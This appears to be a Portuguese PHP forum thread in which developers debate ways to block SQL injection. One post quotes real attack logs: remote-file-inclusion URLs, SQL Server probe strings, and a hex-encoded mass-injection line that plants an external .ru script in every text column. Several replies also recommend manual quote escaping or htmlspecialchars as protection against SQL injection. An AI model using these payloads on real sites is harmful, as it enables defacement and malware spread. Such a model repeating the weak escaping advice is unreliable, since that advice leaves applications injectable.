Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Wilian Fiabani

Segurança em PHP

Recommended Posts

mas imagina o pessoal cadastrando

 

* \\\\ ' & ¨% $ # ( ) { [ } ] / ^~`´º

 

fica meio esquezito fora muitas outras coisas, por isso acho o seguinte melhor metodo de evitar injeções e criar funções tradando o que pode ou o que não pode exemplo.

 

Vamos supor um campo de usuário:

isso é outra questão

 

é tratamente individual pra cada campo

 

o ideal é faze um geral anti-inject, para todos, e um personalizado para cada campo.

obviamente que a maioria das vezes, muitos campos possuirão regras semelhantes.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Justamente para geral você pode usar somente addslashes que já resolve depois você trata com outras funções e para ficar melhor pode criar arquivos de logs que informa erros obtidos ou tentavivas do mesmo ao seu banco de dados.

Compartilhar este post


Link para o post
Compartilhar em outros sites

mas imagina o pessoal cadastrando

 

* \\\\ ' & ¨% $ # ( ) { [ } ] / ^~`´º

 

fica meio esquezito fora muitas outras coisas, por isso acho o seguinte melhor metodo de evitar injeções e criar funções tradando o que pode ou o que não pode exemplo.

 

Vamos supor um campo de usuário:

isso é outra questão

 

é tratamente individual pra cada campo

 

o ideal é faze um geral anti-inject, para todos, e um personalizado para cada campo.

obviamente que a maioria das vezes, muitos campos possuirão regras semelhantes.

 

tb acho ...fora que um usuario realmente interessado em participar de uma comunidade nao iria colocar nunca um apelido assim ...

 

você tratar os dados obrigando o usuario a usar uma quantidade limitada de caracteres e uma coisa, simplesmente corromper dados pq aquele caractere especifico e potencialmente perigoso acho errado .... mas isso e minha opniao né

Compartilhar este post


Link para o post
Compartilhar em outros sites

Sim cada um tem sua opinião mas eu não quero em meus cadastros com nome de usuários exemplo: ///'Delete ou Chupauqe%$#@

Alguns exemplos bobos mas da para entender, mas num consenso creio que a melhor forma de proteção seria a basica e simples tratar as variaveis com o que pode ou com que não pode.

 

O pessoal que estava postando no inicio poderia voltar e postar comentarios sobre que acha dos CODE do pessoal assim fluindo cada vez mas o assunto e melhorando os Codigos.

 

flw abraço a todos deus abençoe.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Sim cada um tem sua opinião mas eu não quero em meus cadastros com nome de usuários exemplo: ///'Delete ou Chupauqe%$#@

essa questão já não é relacionada a segurança, e sim a tratamento de dados

Compartilhar este post


Link para o post
Compartilhar em outros sites

Isso é uma coisa complicada mesmo.

Estou desenvolvendo um fórum, e na textarea de criação de tópicos pode ser digitada qualquer coisa, mas se eu limitar muito, posso destruir a postagem do usuário.

 

Acho que o ideal seria criar uma lista de substituição.

Na hora de gravar no banco ele troca coisas perigosas por outros caracteres, e na hora de exibir no site, desfaz a troca.

 

Não sei o quanto isso seria viável em termos de segurança e performance.

 

Comentários?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Isso é uma coisa complicada mesmo.

Estou desenvolvendo um fórum, e na textarea de criação de tópicos pode ser digitada qualquer coisa, mas se eu limitar muito, posso destruir a postagem do usuário.

 

Acho que o ideal seria criar uma lista de substituição.

Na hora de gravar no banco ele troca coisas perigosas por outros caracteres, e na hora de exibir no site, desfaz a troca.

 

Não sei o quanto isso seria viável em termos de segurança e performance.

 

Comentários?

mas é justamente isso que o escape de aspas faz q é tornar inonfenciva alguma inserção ...

o striptags retira tags phps que nao devem ser aceitas de maneira alguma e as html que poderiam ser aceitas, porem deixar o usuario livre para qq tag html é arriscado, então para resolver isso foi criado o bbcode ...

 

sobre o mysqli do php 5, eu sei que ele tem proteçoes para sql injection, porém alguem sabe explicar exatamente como ela é ??

 

tendo em vista que mesmo quem ainda usa o mysql, passar para o mysqli nao teria mudança significativa nenhuma ... isso aliás e altamente recomendado !

Compartilhar este post


Link para o post
Compartilhar em outros sites

me corrijam se estiver errado, mas levando em consideração que uma consulta sql se da da forma SELECT * FROM tabela WHERE login = 'diogo', os valores entre as aspas simples sao vistos como string....

 

aí que mora perigo pois se nao houver tratamento, e o usuario insere uma aspas simples ela delimita a string e entra na parte da linguagem, por isso consegue se fazer uma injeção SQL;

 

o exemplo mais comum:

 

SELECT * FROM tabela WHERE login = '' or 1='1' .....

 

com o escape ficaria

 

SELECT * FROM tabela WHERE login = '\' or 1=\'1' ..... o que nos daria um login " ' or '1' " ...

 

aspas dupla creio que nao entra, ponto e virgula e para delimitar uma linha ( é como se terminasse a consulta prematuramente) e hifen duplo e de comentario (qq coisa dali pra frente será visualizado como comentario) ... mas em todos eles, se nao houver as aspas simples será visto como string ...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Ou seja a aspas simples ' eo cancêr do inject.

Atualmente eu não uso nenhuma função global para anti inject e sim faço funções do que pode e não pode, mas pretendo com este topico tentar desenvolver uma global e depois somente continuar tratando, em relação a textarea estilo forum estou usando striptags e usando bbcode assim facilitando a inserção no banco de dados.

 

Atualmente Diogo você usa aquela função que postou a cima junto com tratamento ou você deixa ser inserido normalmente os \\\' e outros caracteres em seu banco de dados?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Atualmente Diogo você usa aquela função que postou a cima junto com tratamento

sim, esta e a função que utilizo .... so o post la dentro que talvez retire, para torna mais ampla .......

 

ou você deixa ser inserido normalmente os \\\' e outros caracteres em seu banco de dados?

nao entendi muito bem essa parte do "deixa ser inserido normalmente os \\\' "....

 

mas vamos lá:

 

sim, qq coisa que o usuario inserir vai para o banco de dados, devidamente tratado para que não haja qq tentativa bem sucedida ...

até pq um usuario mal intencionado que nao consegue um sql injection apos algumas tentativas simplesmente desiste de fazer isso ... nao ha como fazer pela força bruta (????), e as entradas geradas por ele são minimas em relação a ocupação de bytes no banco, etc .... quem insere tais caracteres nao tem interesse em participar do imasters por exemplo, entao nem postar alguma coisa que seja irá, e se houver realmente alguem com um nick desse tipo, problema e dele... hehehhehhheh, o unico prejudicado seria ele .....

 

o livre arbítrio entra nessa decisão ....

Compartilhar este post


Link para o post
Compartilhar em outros sites

Bom dia pessoal, gostei do topico e das soluções, mas tenho uma noticia ruim, os haker estão usando muitas coisa diferentes das tratadas e abordadas aqui.

Eu trabalho como programador em um jornal e mantenho os sites da empresa online, os sites são dos antigos programadores da casa que não mais trabalham aqui e a um tempinho atras estavamos sofrendo diversos ataques que ate então achei que fosse simples sql Injection, mas o buraco era mais embaixo, toda vez que eu limitava o que o "MULEQUE" fazia ele aparecia com coisa nova. Ate que foi bom que eu aprendi muita coisa nova.

O MULEQUE usava todo o tipo de artimanha para inserir seu codigo nos links, tanto GET como POST no ASP e no PHP e sempre alguma coisa funcionava.Usou ate Store Procede.

Para pegar o que ele entrava eu fiz um codigo que chamei de ARAPUCA, e tudo quando ele escrevia eu capturava e colocava em um LOG de tentativa de ataque, ele chegou colocar em nosso link um arquivo TXT com programação, eu copiei esse codigo, colei em no NOTEPAD e quando salvava com a extensão TXT, DOC, JPG, PNG, PDF, ... o antivirus alegava virus e deletava o arquivo, impressionante mesmo.

 

Abaixo são algumas coisas que o cara usava.

 

http://www.schmid-telecom.com/a.txt?

http://www.bavaroskicorp.com/cmd.txt?

http://datacenterweb.net/vivo/teste.txt?

http://www.bavaroskicorp.com/cmd.txt?

' and char(124)+user+char(124)=0 and ''='

and char(124)+user+char(124)=0

' and char(124)+user+char(124)=0 and '%'='

and 1=1

and 1=2

and 1=1 and ''='

http://www.schmid-telecom.com/a.txt?

http://datacenterweb.net/vivo/teste.txt?

 

 

Esse codigo é uma unica linha que ele injetava.

 

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C40432056415243484152

2832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454

C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C73797363

6F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D2775272

0414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E7874797065

3D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F7220464

5544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748

494C4528404046455443485F5354415455533D302920424547494E204558454328275550444154452

05B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E564552542856415243

4841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2

F2F7777772E636774342E72752F6E67672E6A733E3C2F7363726970743E2727272920464554434820

4E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4

F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

 

Um programa que usei e ajudou muito mostra paginas em seu site que tem falhas de segurança e te retorna o nome da Base e o nome de todas as tabelas, tudo isso injetando codigos na pagina.

Scrawlr da HP, é free e como free apenas realiza testes simples e por GET, o pago eu não procurei,mas quem achar coloca o link ai. Ahh, esse programa funciona somente para base de dados SQL-SERVER, .

 

Abrassos a todos

Compartilhar este post


Link para o post
Compartilhar em outros sites

williamds,

 

o que foi dado aqui são apenas exemplificações sobre como fazer e não é recomendável usar esses códigos para projetos sérios e sim seguir este caminho e desenvolver uma soluçõa bem elaborada.

 

Se você está monitorando o que ele tenta injetar em seu banco de dados, deve também está gravando o IP dele certo? Então bloquei-o. Tá na cara que ele não vai no site para ler notícias. :) Opss... mas é muito provavel que ele esteja usando Proxy, mas mesmo assim bloquei, uma hora a lista de servidores dele vai acabar e ele vai começar a se entediar...

 

Quanto ao injection. O melhor mesmo é validar a entrada, ignorá as variáveis GET e POST que não são usadas e verificar se elas contém exatamenteo que tem que conter usando expressões regulares que não tenham buracos. Sei que mesmo assim tem uns hackers que fazem umas coisa de deixar o cabelo em pé mas o caminho é este mesmo que você está fazendo. Ir aprendendo com os caras e consertando a buraqueira. Um dia isso tem que acabar. Espero...

 

Obrigado pela dica do Scrawlr. É sempre bom ter ferramentas de diagnóstico para o caso de tudo falhar, mas está aí não é nada impressionante.

Eu baixei em:

https://download.spidynamics.com/Products/scrawlr/

 

Tive de preencher um formulário e fiz alguns testes mas sinceramente não achei lá grande coisa pois ele ignora muitas falhas mais obscuras e só detecta aquilo que já é obvio. Mesmo assim é melhor que nada!

Compartilhar este post


Link para o post
Compartilhar em outros sites

um simples str_replace já resolve

 

 

$id = "'; drop table usuarios; --"; // simula uma injection

 

$querySQL = "SELECT * FROM usuarios WHERE id = '" . $id . "'";

$querySQL = str_replace( "'", "\'", $querySQL );

 

echo $querySQL; // execute o código gerado e veja se se a injeção é executada..

 

 

o conteúdo original não é corrompido e não precisa criar tabelas imensas para converter e reconverter caracteres

 

cada banco de dado possui um caracter escape próprio, por isso consulte a tabela ANSI SQL do seu banco de dados.

Compartilhar este post


Link para o post
Compartilhar em outros sites

O código que você postou escapa até as aspas que não são para escapar, as aspas do comando SQL.

 

http://codepad.org/tIGQJxe5

 

Por min a melhor solução é:

 

<?php

$id = "'; drop table usuarios; --"; // simula uma injection

$id = htmlspecialchars($id,ENT_QUOTES);

$querySQL = "SELECT * FROM usuarios WHERE id = '" . $id . "'";

echo $querySQL;

Abraços

Compartilhar este post


Link para o post
Compartilhar em outros sites

O código que você postou escapa até as aspas que não são para escapar, as aspas do comando SQL.
ops

 

 

corrigindo

 

$id = "'; drop table usuarios; --"; // simula uma injection

 

$querySQL = "SELECT * FROM usuarios WHERE id = '" . str_replace( "'", "\'", $id) . "'";

echo $querySQL;

Compartilhar este post


Link para o post
Compartilhar em outros sites

quanto ao que você postou usando $id = htmlspecialchars($id,ENT_QUOTES);

 

tem um erro, pois "corrompe" os dados originais

 

 

$id = htmlspecialchars($id,ENT_QUOTES);

 

o caracter ' será convertido para htmlentities

 

se precisar fazer uma busca no banco de dados por exemplo, terá que converter as todas as entradas de aspas simples também e ale´m disso se precisa ordenar alfabeticamente retornará diversos erros devido ao código htmlentities embutido nas strings

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.